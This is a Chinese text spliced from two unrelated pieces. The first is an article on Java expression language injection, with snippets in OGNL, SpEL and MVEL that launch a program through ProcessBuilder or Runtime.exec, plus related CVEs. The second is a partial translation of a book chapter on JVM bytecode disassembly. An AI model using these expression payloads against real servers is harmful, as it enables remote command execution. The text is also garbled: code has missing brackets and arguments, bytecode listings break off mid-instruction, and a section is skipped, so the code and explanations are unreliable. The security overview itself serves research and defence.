2014年5月:CVE-2014-3120,ELASTICSEARCH远程代码代码漏洞 2013年5、6、7月:Struts2多个OGNL导致的远程命令执行漏洞 2012年12月:国外研究者@DanAmodio发布《Remote-Code-with-Expression-Language-Injection》一文
这些事件的串联导致了我打算写下这篇文章,来向各位介绍这种新的攻击方法(虽然实际上,它已经存在了很久),我们可能会在未来很长的一段时间内和它打交道,就像我们当初和SQL注入、代码执行、命令执行这些一样。 它的名字叫做Java Web Expression Language Injection——Java Web 表达式注入

0×01 表达式注入概述

2013年4月15日Expression Language Injection词条在OWASP上被创建,而这个词的最早出现可以追溯到2012年12月的《Remote-Code-with-Expression-Language-Injection》一文,在这个paper中第一次提到了这个名词。 而这个时期,我们其实也一直在响应这个新型的漏洞,只不过我们还只是把它叫做远程代码执行漏洞、远程命令执行漏洞或者上下文操控漏洞。像Struts2系列的s2-003、s2-009、s2-016等,这种由OGNL表达式引起的命令执行漏洞。 而随着Expression Language越来越广泛的使用,它的受攻击面也随着展开,所以我们觉得有必要开始针对这种类型的漏洞进行一些研究,Expression Language Injection在将来甚至有可能成为SQL注入一样的存在。 而且从OWASP中定义的表达式注入以及《Remote-Code-with-Expression-Language-Injection》这篇paper所提到的表达式注入所面向的服务,可以看出这种漏洞,在目前的web现状中,只存在于Java Web服务。而在未来的web发展中,其他的Web方向也有可能出现表达式的存在,所以我们为了谨慎起见,将这个称为Java Web Expression Language Injection。 从以往的这种形式的漏洞来看,这种漏洞的威力往往都非常大,最典型的就像Struts2的OGNL系列漏洞。而漏洞的形成原因,一般是功能滥用或者过滤不严这两种,比较代表性的例子是Struts2的s2-16(功能滥用)和s2-009(过滤不严)。

0×02 一些流行的表达式语言

我们在去年的时候做过一个关于Java Web的研究课题,对于一些Java Web框架和程序进行过比较深入的研究。而且对于Java Web 表达式注入(后面简称JWEI)也做了一点积累,在这小节中我觉得有必要向各位介绍一下它们,以方便日后研究工作的开始。 下面我将用尽量简单的语言来向各位介绍几种简单的流行表达式语言和它们的基本用法(攻击相关),以及它们曾经导致的漏洞。

Struts2——OGNL

实至名归的“漏洞之王”,目前被攻防双方理解得足够透彻的唯一表达式语言。 基本用法:
ActionContext AC = ActionContext.getContext(); Map Parameters = (Map)AC.getParameters(); String expression = "${(new java.lang.ProcessBuilder('calc')).start()}"; AC.getValueStack().findValue(expression));
相关漏洞: s2-009、s2-012、s2-013、s2-014、s2-015、s2-016,s2-017

Spring——SPEL

SPEL即Spring EL,故名思议是Spring框架专有的EL表达式。相对于其他几种表达式语言,使用面相对较窄,但是从Spring框架被使用的广泛性来看,还是有值得研究的价值的。而且有一个Spring漏洞的命令执行利用,让漏洞发现者想得脑袋撞墙撞得梆梆响都没想出来,而我却用SPEL解决了,大家来猜下是哪个漏洞呢^_^。 基本用法:
String expression = "T(java.lang.Runtime).getRuntime().exec(/"calc/")"; String result = parser.parseExpression(expression).getValue().toString();
相关漏洞: 暂无公开漏洞

JSP——JSTL_EL

这种表达式是JSP语言自带的表达式,也就是说所有的Java Web服务都必然会支持这种表达式。但是由于各家对其实现的不同,也导致某些漏洞可以在一些Java Web服务中成功利用,而在有的服务中则是无法利用。 例如:《Remote-Code-with-Expression-Language-Injection》一文中所提到的问题,在glassfish和resin环境下是可以成功实现命令执行的,而在tomcat的环境下是没有办法实现的。 而且JSTL_EL被作为关注的对象,也是由于它的2.0版本出现之后,为满足需求,这个版本在原有功能的基础之上,增加了很多更为强大的功能。 从这点中我们不难看出,随着未来的发展,对于表达式语言能实现比较强大的功能的需求越来越强烈,主流的表达式语言都会扩展这些功能。而在扩展之后,原来一些不是问题的问题,却成了问题。 基本用法:

相关漏洞: CVE-2011-2730

Elasticsearch——MVEL

首先要感谢下Elasticsearch的CVE-2014-3120这个漏洞,因为跟踪这个漏洞时,让我开始重新关注到Java Web表达式研究的价值,并决定开始向这个方向作深入的研究。 MVEL是同OGNL和SPEL一样,具有通过表达式执行Java代码的强大功能。 基本用法:
import org.mvel.MVEL; public class MVELTest { public static void main(String
args) { String expression = "new java.lang.ProcessBuilder(/"calc/").start();"; Boolean result = (Boolean) MVEL.eval(expression, vars); } }
相关漏洞: CVE-2014-3120

0×03 总结

在未来针对表达式语言开展的研究中,我准备将研究表达式语言定位为和SQL语法一样的利用方法研究。从我们上面对于表达式语言分析的结果来看,JWEI攻击和SQL注入攻击很像。 多种平台风格,但是基本的语法一定 多数情况下是由于拼接问题,或用户直接操控表达式,从而造成的攻击 由此我们未来的研究,会将Java Web表达式语言作为一种利用方法来研究。 而JWEI漏洞的研究,我们会通过研究程序员在编程中如何使用表达式语言来进行。具体的操作方法,会是阅读研究的表达式语言所对应的框架代码。试图从中找到一些规律和习惯。最终总结出一些针对表达式注入漏洞挖掘和利用方法。

0×04 扩展延伸

在研究表达式语言时,翻阅以往Java Web资料的过程中,我还发现了一些Java Web漏洞的小细节。这些细节可能没有表达式语言这么通用,但也是Java Web中不可忽略的潜在漏洞点。

反序列化代码执行

序列化是Java的一个特性,在Web服务中也经常用来传输信息,这就导致攻击者有可能通过出传递带有恶意序列化内容的代码实现攻击。典型的漏洞有Spring的CVE-2011-2894和JBoss的CVE-2010-0738。

利用Java反射触发命令执行

反射是Java的一个大特性,如果在开发过程中没有针对对象的行为进行严格的限制的话,用户就有可能通过操控一些可控对象,利用反射机制触发命令执行攻击。典型的漏洞有CVE-2014-0112。

利用框架某些特性实现代码执行

这种形式的攻击,根据框架的某些特性才能进行,而大部分框架的功能实现是有很大的不同的,所以此类攻击定制性很强。不过,框架之间还是有一些共同性的,譬如自定义标签库的实现和调用,都是大同小异的。典型漏洞有CVE-2010-1622。

原文地址:http://drops.wooyun.org/tips/6924 翻译书籍:Reverse Engineering for Beginners 作者:Dennis Yurichev 翻译者:糖果

54.1介绍

大家都知道,java有很多的反编译器(或是产生JVM字节码) 原因是JVM字节码比其他的X86低级代码更容易进行反编译。
a.多很多相关数据类型的信息。 b.JVM(java虚拟机)内存模型更严格和概括。 c.java编译器没有做任何的优化工作(JVM JIT不是实时),所以,类文件中的字节代码的通常更清晰易读。
JVM字节码知识什么时候有用呢?
a.文件的快速粗糙的打补丁任务,类文件不需要重新编译反编译的结果。 b.分析混淆代码 c.创建你自己的混淆器。 d.创建编译器代码生成器(后端)目标。
我们从一段简短的代码开始,除非特殊声明,我们用的都是JDK1.7 反编译类文件使用的命令,随处可见:
javap -c -verbase
. 在这本书中提供的很多的例子,都用到了这个。

54.2 返回一个值

可能最简单的java函数就是返回一些值,oh,并且我们必须注意,一边情况下,在java中没有孤立存在的函数,他们是“方法”(method),每个方法都是被关联到某些类,所以方法不会被定义在类外面, 但是我还是叫他们“函数” (function),我这么用。
public class ret { public static int main(String
args) { return 0; } }
编译它。
javac ret.java
使用Java标准工具反编译。
javap -c -verbose ret.class
会得到结果:
public static int main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: iconst_0 1: ireturn
对于java开发者在编程中,0是使用频率最高的常量。 因为区分短一个短字节的 iconst_0指令入栈0,iconst_1指令(入栈),iconst_2等等,直到iconst5。也可以有iconst_m1, 推送-1。 就像在MIPS中,分离一个寄存器给0常数:3.5.2 在第三页。 栈在JVM中用于在函数调用时,传参和传返回值。因此, iconst_0是将0入栈,ireturn指令,(i就是integer的意思。)是从栈顶返回整数值。 让我们写一个简单的例子, 现在我们返回1234:
public class ret { public static int main(String
args) { return 1234; } }
我们得到: 清单: 54.2:jdk1.7(节选)
public static int main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: sipush 1234 3: ireturn
sipush(shot integer)如栈值是1234,slot的名字以为着一个16bytes值将会入栈。 sipush(短整型) 1234数值确认时候16-bit值。
public class ret { public static int main(String
args) { return 12345678; } }
更大的值是什么? 清单 54.3 常量区
#2 = Integer 12345678
5栈顶
public static int main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATI Code: stack=1, locals=1, args_size=1 0: ldc #2 // int 12345678 2: ireturn
操作码 JVM的指令码操作码不可能编码成32位数,开发者放弃这种可能。因此,32位数字12345678是被存储在一个叫做常量区的地方。让我们说(大多数被使用的常数(包括字符,对象等等车)) 对我们而言。 对JVM来说传递常量不是唯一的,MIPS ARM和其他的RISC CPUS也不可能把32位操作编码成32位数字,因此 RISC CPU(包括MIPS和ARM)去构造一个值需要一系列的步骤,或是他们保存在数据段中: 28。3 在654页.291 在695页。 MIPS码也有一个传统的常量区,literal pool(原语区) 这个段被叫做"lit4"(对于32位单精度浮点数常数存储) 和lit8(64位双精度浮点整数常量区)

布尔型


public class ret { public static boolean main(String
args) { return true; } }

public static boolean main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: iconst_1
这个JVM字节码是不同于返回的整数学 ,32位数据,在形参中被当成逻辑值使用。像C/C++,但是不能像使用整型或是viceversa返回布尔型,类型信息被存储在类文件中,在运行时检查。

16位短整型也是一样。


public class ret { public static short main(String
args) { return 1234; } }

public static short main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: sipush 1234 3: ireturn

还有char 字符型?


#!java public class ret { public static char main(String
args) { return 'A'; } }

public static char main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: bipush 65 2: ireturn
bipush 的意思"push byte"字节入栈,不必说java的char是16位UTF16字符,和short 短整型相等,单ASCII码的A字符是65,它可能使用指令传输字节到栈。 让我们是试一下byte。
public class retc { public static byte main(String
args) { return 123; } }

public static byte main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: bipush 123 2: ireturn 909
也许会问,位什么费事用两个16位整型当32位用?为什么char数据类型和短整型类型还使用char. 答案很简单,为了数据类型的控制和代码的可读性。char也许本质上short相同,但是我们快速的掌握它的占位符,16位的UTF字符,并且不像其他的integer值符。使用 short,为各位展现一下变量的范围被限制在16位。在需要的地方使用boolean型也是一个很好的主意。代替C样式的int也是为了相同的目的。 在java中integer的64位数据类型。
public class ret3 { public static long main(String
args) { return 1234567890123456789L; } }
清单54.4常量区
#2 = Long 1234567890123456789l

public static long main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: ldc2_w #2 // long ⤦ Ç 1234567890123456789l 3: lreturn
64位数也被在存储在常量区,ldc2_w 加载它,lreturn返回它。 ldc2_w指令也是从内存常量区中加载双精度浮点数。(同样占64位)
public class ret { public static double main(String
args) { return 123.456d; } }
清单54.5常量区
#2 = Double 123.456d

public static double main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: ldc2_w #2 // double 123.456⤦ Ç d 3: dreturn
dreturn 代表 "return double" 最后,单精度浮点数:
public class ret { public static float main(String
args) { return 123.456f; } }
清单54.6 常量区
#2 = Float 123.456f

public static float main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: ldc #2 // float 123.456f 2: freturn
此处的ldc指令使用和32位整型数据一样,从常量区中加载。freturn 的意思是
"return float"
那么函数还能返回什么呢?
public class ret { public static void main(String
args) { return; } }

public static void main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=0, locals=1, args_size=1 0: return
这以为着,使用
return
控制指令确没有返回实际的值,知道这一点就非常容易的从最后一条指令中演绎出函数(或是方法)的返回类型。

54.3 简单的计算函数

让我们继续看简单的计算函数。
public class calc { public static int half(int a) { return a/2; } }
这种情况使用icont_2会被使用。
public static int half(int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: iload_0 1: iconst_2 2: idiv 3: ireturn
iload_0 将零给函数做参数,然后将其入栈。iconst_2将2入栈,这两个指令执行后,栈看上去是这个样子的。
+---+ TOS ->| 2 | +---+ | a | +---+
idiv携带两个值在栈顶, divides 只有一个值,返回结果在栈顶。
+--------+ TOS ->| result | +--------+
ireturn取得比返回。 让我们处理双精度浮点整数。
#!java public class calc { public static double half_double(double a) { return a/2.0; } }
清单54.7 常量区 ...
#2 = Double 2.0d
...
public static double half_double(double); flags: ACC_PUBLIC, ACC_STATIC Code: stack=4, locals=2, args_size=1 0: dload_0 1: ldc2_w #2 // double 2.0d 4: ddiv 5: dreturn
类似,只是ldc2_w指令是从常量区装载2.0,另外,所有其他三条指令有d前缀,意思是他们工作在double数据类型下。 我们现在使用两个参数的函数。
#!java public class calc { public static int sum(int a, int b) { return a+b; } }

#!bash public static int sum(int, int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=2, args_size=2 0: iload_0 1: iload_1 2: iadd 3: ireturn
iload_0加载第一个函数参数(a),iload_2 第二个参数(b)下面两条指令执行后,栈的情况如下:
+---+ TOS ->| b | +---+ | a | +---+
iadds 增加两个值,返回结果在栈顶。
+--------+ TOS ->| result | +--------+
让我们把这个例子扩展成长整型数据类型。
#!java public static long lsum(long a, long b) { return a+b; }
我们得到的是:
#!java public static long lsum(long, long); flags: ACC_PUBLIC, ACC_STATIC Code: stack=4, locals=4, args_size=2 0: lload_0 1: lload_2 2: ladd 3: lreturn
第二个(load指令从第二参数槽中,取得第二参数。这是因为64位长整型的值占用来位,用了另外的话2位参数槽。) 稍微复杂的例子
#!java public class calc { public static int mult_add(int a, int b, int c) { return a*b+c; } }

public static int mult_add(int, int, int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=3, args_size=3 0: iload_0 1: iload_1 2: imul 3: iload_2 4: iadd 5: ireturn
第一是相乘,积被存储在栈顶。
+---------+ TOS ->| product | +---------+
iload_2加载第三个参数(C)入栈。
+---------+ TOS ->| c | +---------+ | product | +---------+
现在iadd指令可以相加两个值。

54.4 JVM内存模型

X86和其他低级环境系统使用栈传递参数和存储本地变量,JVM稍微有些不同。 主要体现在: 本地变量数组(LVA)被用于存储到来函数的参数和本地变量。iload_0指令是从其中加载值,istore存储值在其中,首先,函数参数到达:开始从0 或者1(如果0参被this指针用。),那么本地局部变量被分配。 每个槽子的大小都是32位,因此long和double数据类型都占两个槽。 操作数栈(或只是"栈"),被用于在其他函数调用时,计算和传递参数。不像低级X86的环境,它不能去访问栈,而又不明确的使用pushes和pops指令,进行出入栈操作。

54.5 简单的函数调用

mathrandom()返回一个伪随机数,函数范围在「0.0...1.0)之间,但对我们来说,由于一些原因,我们常常需要设计一个函数返回数值范围在「0.0...0.5)
#!java public class HalfRandom { public static double f() { return Math.random()/2; } }
常量区 ...
#2 = Methodref #18.#19 // java/lang/Math.⤦ Ç random:()D 6(Java) Local Variable Array #3 = Double 2.0d
...
#12 = Utf8 ()D
...
#18 = Class #22 // java/lang/Math #19 = NameAndType #23:#12 // random:()D #22 = Utf8 java/lang/Math #23 = Utf8 random public static double f(); flags: ACC_PUBLIC, ACC_STATIC Code: stack=4, locals=0, args_size=0 0: invokestatic #2 // Method java/⤦ Ç lang/Math.random:()D 3: ldc2_w #3 // double 2.0d 6: ddiv 7: dreturn
java本地变量数组 916 静态执行调用math.random()函数,返回值在栈顶。结果是被0.5初返回的,但函数名是怎么被编码的呢? 在常量区使用methodres表达式,进行编码的,它定义类和方法的名称。第一个methodref 字段指向表达式,其次,指向通常文本字符("java/lang/math") 第二个methodref表达指向名字和类型表达式,同时链接两个字符。第一个方法的名字式字符串"random",第二个字符串是"()D",来编码函数类型,它以为这两个值(因此D是字符串)这种方式1JVM可以检查数据类型的正确性:2)java反编译器可以从被编译的类文件中修改数据类型。 最后,我们试着使用"hello,world!"作为例子。
#!java public class HelloWorld { public static void main(String
args) { System.out.println("Hello, World"); } }
常量区 917 常量区的ldc行偏移3,指向"hello,world!"字符串,并且将其入栈,在java里它被成为饮用,其实它就是指针,或是地址。 ...
#2 = Fieldref #16.#17 // java/lang/System.⤦ Ç out:Ljava/io/PrintStream; #3 = String #18 // Hello, World #4 = Methodref #19.#20 // java/io/⤦ Ç PrintStream.println:(Ljava/lang/String;)V
...
#16 = Class #23 // java/lang/System #17 = NameAndType #24:#25 // out:Ljava/io/⤦ Ç PrintStream; #18 = Utf8 Hello, World #19 = Class #26 // java/io/⤦ Ç PrintStream #20 = NameAndType #27:#28 // println:(Ljava/⤦ Ç lang/String;)V
...
#23 = Utf8 java/lang/System #24 = Utf8 out #25 = Utf8 Ljava/io/PrintStream; #26 = Utf8 java/io/PrintStream #27 = Utf8 println #28 = Utf8 (Ljava/lang/String;)V
...
public static void main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC
Code:
stack=2, locals=1, args_size=1 0: getstatic #2 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 3: ldc #3 // String Hello, ⤦ Ç World 5: invokevirtual #4 // Method java/io⤦ Ç /PrintStream.println:(Ljava/lang/String;)V 8: return
常见的invokevirtual指令,从常量区取信息,然后调用pringln()方法,貌似我们知道的println()方法,适用于各种数据类型,我这种println()函数版本,预先给的是字符串类型。 但是第一个getstatic指令是干什么的?这条指令取得对象信息的字段的一个引用或是地址。输出并将其进栈,这个值实际更像是println放的指针,因此,内部的print method取得两个参数,输入1指向对象的this指针,2)"hello,world"字符串的地址,确实,println()在被初始化系统的调用,对象之外,为了方便,javap使用工具把所有的信息都写入到注释中。

54.6 调用beep()函数

这可能是最简单的,不使用参数的调用两个函数。
public static void main(String
args) { java.awt.Toolkit.getDefaultToolkit().beep(); };

public static void main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: invokestatic #2 // Method java/⤦ Ç awt/Toolkit.getDefaultToolkit:()Ljava/awt/Toolkit; 3: invokevirtual #3 // Method java/⤦ Ç awt/Toolkit.beep:()V 6: return
首先,invokestatic在0行偏移调用javaawt.toolkit. getDefaultTookKit()函数,返回toolkit类对象的引用,invokedvirtualIFge指令在3行偏移,调用这个类的beep()方法。

54.7 线性同余伪随机数生成器

这次来看一个简单的伪随机函数生成器,之前我在书中提到过一次。
#!java public class LCG { public static int rand_state; public void my_srand (int init) { rand_state=init; } public static int RNG_a=1664525; public static int RNG_c=1013904223; public int my_rand () { rand_state=rand_state*RNG_a; rand_state=rand_state+RNG_c; return rand_state & 0x7fff; } }
在上面的代码中我们可以看到开始的地方有两个类字段被初始化。不过java究竟是如何进行初始化的呢,我们可以通过javap的输出看到类构造的方式。
static {}; flags: ACC_STATIC Code: stack=1, locals=0, args_size=0 0: ldc #5 // int 1664525 2: putstatic #3 // Field RNG_a:I 5: ldc #6 // int 1013904223 7: putstatic #4 // Field RNG_c:I 10: return
从上面的代码我们可以直观的看出变量如何被初始化,RNG_a和iRNG_C分别占用了第三以及第四储存位,并使用puststatic指令将常量put进储存位置。 下面的my_srand()函数将输入值存储到rand_state中;
public void my_srand(int); flags: ACC_PUBLIC Code: stack=1, locals=2, args_size=2 0: iload_1 1: putstatic #2 // Field ⤦ Ç rand_state:I 4: return
iload_1 取得输入值并将其压入栈。但为什么不用iload_0? 因为函数中可能使用了类字段,所以这个变量被作为第0个参数传递给了函数,我们可以看到rand_state字段在类中占用第二个储存位。之前的putstatic会从栈顶复制数据并且将其压入第二储存位。 现在的my_rand():
public int my_rand(); flags: ACC_PUBLIC Code: stack=2, locals=1, args_size=1 0: getstatic #2 // Field ⤦ Ç rand_state:I 3: getstatic #3 // Field RNG_a:I 6: imul 7: putstatic #2 // Field ⤦ Ç rand_state:I 10: getstatic #2 // Field ⤦ Ç rand_state:I 13: getstatic #4 // Field RNG_c:I 16: iadd 17: putstatic #2 // Field ⤦ Ç rand_state:I 20: getstatic #2 // Field ⤦ Ç rand_state:I 23: sipush 32767 26: iand 27: ireturn
它仅是加载了所有对象字段的值。并且用putstatic指令对rand_state的值进行更新。 因为之前我们通过putstatic指令将rand_state的值丢弃,所以在20行的位置,再次加载rand_state值。这种方式其实效率不高,不过我们还是要承认jvm在某些地方所做的优化还是很不错的。

54.8 条件跳转

我们来举个条件跳转的栗子:
#!java public class abs { public static int abs(int a) { if (a<0) return -a; return a; } }

public static int abs(int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: iload_0 1: ifge 7 4: iload_0 5: ineg 6: ireturn 7: iload_0 8: ireturn
上面代码中ifge指令的作用是:当栈顶的值大于等于0的时候跳转到偏移位7,需要注意的是,任何的ifXX指令都会将栈中的值弹出用于进行比较。 现在来看另外一个例子
#!java public static int min (int a, int b) { if (a>b) return b; return a; }
我们得到的是:
public static int min(int, int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=2, args_size=2 0: iload_0 1: iload_1 2: if_icmple 7 5: iload_1 6: ireturn 7: iload_0 8: ireturn
if_icmple会从栈中弹出两个值进行比较,如果第二个小于或者等于第一个,那么跳转到偏移位7. 我们看另一个max函数的例子:
#!java public static int max (int a, int b) { if (a>b) return a; return b; }
从下面可以看出代码都差不多,唯一的区别是最后两个iload指令(偏移位5和偏移位7)互换了。
public static int max(int, int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=2, args_size=2 0: iload_0 1: iload_1 2: if_icmple 7 5: iload_0 6: ireturn 7: iload_1 8: ireturn
更复杂的例子。。
#!java public class cond { public static void f(int i) { if (i<100) System.out.print("<100"); if (i==100) System.out.print("==100"); if (i>100) System.out.print(">100"); if (i==0) System.out.print("==0"); } }

public static void f(int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: iload_0 1: bipush 100 3: if_icmpge 14 6: getstatic #2 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 9: ldc #3 // String <100 11: invokevirtual #4 // Method java/io⤦ Ç /PrintStream.print:(Ljava/lang/String;)V 14: iload_0 15: bipush 100 17: if_icmpne 28 20: getstatic #2 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 23: ldc #5 // String ==100 25: invokevirtual #4 // Method java/io⤦ Ç /PrintStream.print:(Ljava/lang/String;)V 28: iload_0 29: bipush 100 31: if_icmple 42 34: getstatic #2 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 37: ldc #6 // String >100 39: invokevirtual #4 // Method java/io⤦ Ç /PrintStream.print:(Ljava/lang/String;)V 42: iload_0 43: ifne 54 46: getstatic #2 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 49: ldc #7 // String ==0 51: invokevirtual #4 // Method java/io⤦ Ç /PrintStream.print:(Ljava/lang/String;)V 54: return
if_icmpge出栈两个值,并且比较两个数值,如果第的二个值大于第一个,跳转到偏移位14,if_icmpne和if_icmple做的工作类似,但是使用不同的判断条件。 在行偏移43的ifne指令,它的名字不是很恰当,我更愿意把它命名为ifnz(if not zero 可能是冷笑话)(如果栈定的值不是0则跳转),当不是0的时候,跳转到偏移54,如果输入的值不是另,如果是0,执行流程进入偏移46,并且打印字符串“==0”。 JVM没有无符号数据类型,所以,只能通过符号整数值进行比较指令操作。

54.9 传递参数值

让我们稍微扩展一下min()和max()这个例子。
#!java public class minmax { public static int min (int a, int b) { if (a>b) return b; return a; } public static int max (int a, int b) { if (a>b) return a; return b; } public static void main(String
args) { int a=123, b=456; int max_value=max(a, b); int min_value=min(a, b); System.out.println(min_value); System.out.println(max_value); } }
下面是main()函数的代码。
public static void main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=5, args_size=1 0: bipush 123 2: istore_1 3: sipush 456 6: istore_2 7: iload_1 8: iload_2 9: invokestatic #2 // Method max:(II⤦ Ç )I 12: istore_3 13: iload_1 14: iload_2 15: invokestatic #3 // Method min:(II⤦ Ç )I 18: istore 4 20: getstatic #4 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 23: iload 4 25: invokevirtual #5 // Method java/io⤦ Ç /PrintStream.println:(I)V 28: getstatic #4 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 31: iload_3 32: invokevirtual #5 // Method java/io⤦ Ç /PrintStream.println:(I)V 35: return
栈中的参数被传递给其他函数,并且将返回值置于栈顶。

54.10位。

java中的位操作其实与其他的一些ISA(指令集架构)类似:
#!java public static int set (int a, int b) { return a | 1<
public static int set(int, int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=2, args_size=2 0: iload_0 1: iconst_1 2: iload_1 3: ishl 4: ior 5: ireturn public static int clear(int, int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=2, args_size=2 0: iload_0 1: iconst_1 2: iload_1 3: ishl 4: iconst_m1 5: ixor 6: iand 7: ireturn
iconst_m1加载-1入栈,这数其实就是16进制的0xFFFFFFFF,将0xFFFFFFFF作为XOR-ing指令执行的操作数。起到的效果就是把所有bits位反向,(A.6.2在1406页) 我将所有数据类型,扩展成64为长整型。
#!java public static long lset (long a, int b) { return a | 1<
public static long lset(long, int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=4, locals=3, args_size=2 0: lload_0 1: iconst_1 2: iload_2 3: ishl 4: i2l 5: lor 6: lreturn public static long lclear(long, int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=4, locals=3, args_size=2 0: lload_0 1: iconst_1 2: iload_2 3: ishl 4: iconst_m1 5: ixor 6: i2l 7: land 8: lreturn
代码是相同的,但是操作64位值的指令的前缀变成了L,并且第二个函数参数还是int类型,当32位需要升级为64位值时,会使用i21指令把整型扩展成64位长整型.

54.11循环


#!java public class Loop { public static void main(String
args) { for (int i = 1; i <= 10; i++) { System.out.println(i); } } }

public static void main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=2, args_size=1 0: iconst_1 1: istore_1 2: iload_1 3: bipush 10 5: if_icmpgt 21 8: getstatic #2 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 11: iload_1 12: invokevirtual #3 // Method java/io⤦ Ç /PrintStream.println:(I)V 15: iinc 1, 1 18: goto 2 21: return
icont_1将1推入栈顶,istore_1将其存入到局部数组变量的储存位1。 可以注意到没有使用第0个储存位,因为main()函数只有一个指向其的引用的参数(String数组),就位于第0号槽中。 因此,本地变量i 总是在第1储存位中。 在行偏移3和行偏移5的位置,指令将i和10进行比较。如果i大于10,执行流将进入偏移21,之后函数会结束,如果i小于或等于10,则调用println。我们可以看到i在偏移11进行了重新加载,用于调用println。 多说一句,我们调用pringln打印数据类型是整型,我们看注释,“i,v”,i的意思是整型,v的意思是返回void。 当println函数结束时,i进入偏移15,通过指令iinc将参数槽1的值,数值1与本地变量相加。 goto指令就是跳转,它跳转偏移2,就是循环体的开始地址. 下面让我们来处理更复杂的例子
#!java public class Fibonacci { public static void main(String
args) { int limit = 20, f = 0, g = 1; for (int i = 1; i <= limit; i++) { f = f + g; g = f - g; System.out.println(f); } } }

#!bash public static void main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=5, args_size=1 0: bipush 20 2: istore_1 3: iconst_0 4: istore_2 5: iconst_1 6: istore_3 7: iconst_1 8: istore 4 10: iload 4 12: iload_1 13: if_icmpgt 37 16: iload_2 17: iload_3 18: iadd 19: istore_2 20: iload_2 21: iload_3 22: isub 23: istore_3 24: getstatic #2

54.13数组

54.13.1简单的例子

我们首先创建一个长度是10的整型的数组,对其初始化。
#!java public static void main(String
args) { int a
=new int
; for (int i=0; i<10; i++) a
=i; dump (a); }

public static void main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=3, args_size=1 0: bipush 10 2: newarray int 4: astore_1 5: iconst_0 6: istore_2 7: iload_2 8: bipush 10 10: if_icmpge 23 13: aload_1 14: iload_2 15: iload_2 16: iastore 17: iinc 2, 1 20: goto 7 23: aload_1 24: invokestatic #4 // Method dump:(
newarray指令,创建了一个有10个整数元素的数组,数组的大小设置使用bipush指令,然后结果会返回到栈顶。数组类型用newarry指令操作符,进行设定。 newarray被执行后,引用(指针)到新创建的数据,栈顶的槽中,astore_1存储引用指向到LVA的一号槽,main()函数的第二个部分,是循环的存储值1到相应的素组元素。 aload_1得到数据的引用并放入到栈中。lastore将integer值从堆中存储到素组中,引用当前的栈顶。main()函数代用dump()的函数部分,参数是,准备给aload_1指令的(行偏移23) 现在我们进入dump()函数。
#!java public static void dump(int a
) { for (int i=0; i); }

#!bash public static void dump(int
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=2, args_size=1 0: iconst_0 1: istore_1 2: iload_1 3: aload_0 4: arraylength 5: if_icmpge 23 8: getstatic #2 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 11: aload_0 12: iload_1 13: iaload 14: invokevirtual #3 // Method java/io⤦ Ç /PrintStream.println:(I)V 17: iinc 1, 1 20: goto 2 23: return
到了引用的数组在0槽,a.length表达式在源代码中是转化到arraylength指令,它取得数组的引用,并且数组的大小在栈顶。 iaload在行偏移13被用于装载数据元素。 它需要在堆栈中的数组引用。用aload_0 11并且索引(用iload_1在行偏移12准备) 无可厚非,指令前缀可能会被错误的理解,就像数组指令,那样不正确,这些指令和对象的引用一起工作的。数组和字符串都是对象。

54.13.2 数组元素的求和

另外的例子
#!java public class ArraySum { public static int f (int
a) { int sum=0; for (int i=0; i; return sum; } }

public static int f(int
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=3, args_size=1 0: iconst_0 1: istore_1 2: iconst_0 3: istore_2 4: iload_2 5: aload_0 6: arraylength 7: if_icmpge 22 10: iload_1 11: aload_0 12: iload_2 13: iaload 14: iadd 15: istore_1 16: iinc 2, 1 19: goto 4 22: iload_1 23: ireturn
LVA槽0是数组的引用,LVA槽1是本地变量和。

54.13.3 main()函数唯一的数据参数

让我们使用唯一的main()函数参数,字符串数组。
#!java public class UseArgument { public static void main(String
args) { System.out.print("Hi, "); System.out.print(args
); System.out.println(". How are you?"); } }
